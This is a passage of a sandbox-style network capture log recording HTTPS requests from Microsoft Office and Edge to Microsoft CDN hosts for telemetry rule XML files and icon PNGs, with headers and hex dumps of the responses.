2024-11-12 16:07:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 792e95e0-001e-0065-4da8-340b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160750Z-17df447cdb5bz95mhC1DFWnk7w0000000c4g0000000077v2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 510f214b-601e-0050-22a5-342c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160750Z-15869dbbcc6sg5zbhC1DFWy5u800000007sg00000000gr2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:50 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6f4d794e-301e-000c-74a1-34323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160750Z-15869dbbcc62nmdhhC1DFW2sxs00000006c000000000f0e9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:50 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160750Z-16547b76f7fx6rhxhC1DFW76kg0000000fv000000000cnf9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49908	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 6a8e19b3-801e-0039-4da3-2c28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-16547b76f7fcjqqhhC1DFWrrrc0000000fv000000000cfrt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.6	49907	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 101974ec-101e-001e-44c3-34b2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-17df447cdb5jg4kthC1DFW6vy000000000rg000000000ghe Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.6	49910	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: b18e1dbb-901e-000f-6849-3285f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-16547b76f7f9bs6dhC1DFWt3rg0000000fsg00000000p0g8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.6	49912	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 5cd2d48f-201e-0052-31d0-3475f5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-17df447cdb5vp9l9hC1DFW5hw800000007tg00000000dvcq Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.6	49911	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 794c108b-001e-000a-0ab4-2e718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-16547b76f7fcrtpchC1DFW52e80000000fv000000000m36g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.6	49909	13.107.246.57	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:50 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-12 16:07:50 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:50 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 6767f570-501e-0056-07b1-348077000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241112T160750Z-17df447cdb57srlrhC1DFWwgas0000000ck0000000009zs1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:50 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:51 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:51 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:51 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160751Z-16547b76f7fx6rhxhC1DFW76kg0000000fsg00000000m6u3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:51 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.6	49913	13.107.246.45	443

